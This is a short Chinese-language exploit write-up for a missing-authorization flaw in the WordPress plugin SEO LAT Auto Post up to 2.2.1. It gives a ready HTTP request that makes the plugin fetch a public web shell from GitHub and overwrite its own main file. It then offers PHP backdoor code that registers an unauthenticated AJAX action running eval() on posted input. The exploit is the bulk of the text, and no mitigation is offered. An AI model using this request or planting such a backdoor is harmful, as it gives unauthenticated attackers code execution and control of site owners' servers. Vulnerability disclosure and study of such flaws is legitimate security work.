SEO LAT Auto Post <= 2.2.1 - 缺少授权导致文件覆盖/上传(远程代码执行)
WordPress 的 SEO LAT Auto Post 插件在 2.2.1 及之前的所有版本中,由于 remote_update AJAX 操作缺少权限检查,因此存在文件覆盖漏洞。这使得未认证的攻击者能够覆盖 seo-beginner-auto-post.php 文件,并借此实现远程代码执行。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
这将覆盖 https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php - 我建议修改当前插件,并添加一个 nopriv 操作以实现远程代码执行(RCE)。https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php
添加类似如下的函数。
// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');
// The callback function
function execute_code_callback() {
// Get the code to execute from the request
$code = $_POST['code'];
// Execute the code
eval($code);
// Return a success message
echo 'Code executed successfully!';
wp_die();
}